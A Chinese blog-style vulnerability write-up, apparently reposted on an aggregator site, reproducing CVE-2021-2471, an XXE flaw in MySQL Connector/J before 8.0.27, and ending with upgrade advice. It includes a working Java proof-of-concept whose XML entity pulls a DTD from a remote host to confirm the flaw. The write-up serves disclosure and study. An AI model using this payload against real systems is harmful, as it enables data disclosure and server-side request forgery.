IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> CVE-2021-2471 Mysql JDBC XXE -> 正文阅读

[大数据]CVE-2021-2471 Mysql JDBC XXE

漏洞简介

这个漏洞是由于 MySQL JDBC 8.0.27 版本之前,存在 getSource ()方法未对传入的 XML 数据做校验,导致攻击者可以在 XML 数据中引入外部实体,造成 XXE 攻击。

影响版本

MySQL Connector/J 8.0.27 之前

漏洞复现

这里采用的复现环境链接为: https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

可以看到是mysql-connector-java 8.0.26的版本;

image-20211028164231816

下载mysql-connector-java8.0.26的jar包并导入,下载链接:https://downloads.mysql.com/archives/c-j/

image-20211028165029944

导入过程就不写了。。。

定位到处理XML格式的类com.mysql.cj.jdbc.MysqlSQLXML;

搜索getSource方法,可以看见当执行getSource()方法时,如果输入参数为DOMSource.class时,DocumentBuilder会直接newInstance实例化对象,stringRep会被带入并完成XML解析,没有进行校验和判断,从而导致出现XXE漏洞。

image-20211028165533065

创建数据库test、表tb_test、字段message并插入数据,这里ip是我远程开启http服务的机子,代码中getSQLXML(java.lang.String)方法是用于查询表中字段为message的值,将返回的消息字段通过SQLXML解析为org.h2.jdbc.JdbcSQLXML类的对象:

连接数据库

image-20211028174010565

image-20211028173359163

image-20211028174743305

开启http服务

image-20211028174126543

运行该poc

image-20211028174303915

收到了http请求

这里也可以不使用该复现环境,新建项目文件,导入jar包后,直接写入下面的poc,运行。

代码中setString是MysqlSQLXML继承的SQLXML类中的方法,用于对stringRep变量进行赋值从而被带入DocumentBuilder的实例化对象完成XML解析。

package mysqlxxetest;
import java.sql.SQLException;
import javax.xml.transform.dom.DOMSource;
import com.mysql.cj.jdbc.MysqlSQLXML;
public class test {
	public static void main(String[] args) throws SQLException {
        MysqlSQLXML myXML = new MysqlSQLXML(null);
        myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://192.168.190.130:80/xxe.dtd\"> %xxe;]>");
        myXML.getSource(DOMSource.class);
    }
}

可以看见也收到了请求

参考链接:https://github.com/h2database/h2database/issues/3195

https://pyn3rd.github.io/2021/10/22/mysql-jdbc-xxe/

修复方法

官方已发布漏洞补丁及修复版本,升级至安全版本。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-29 13:06:54  更:2021-10-29 13:09:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 4:18:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码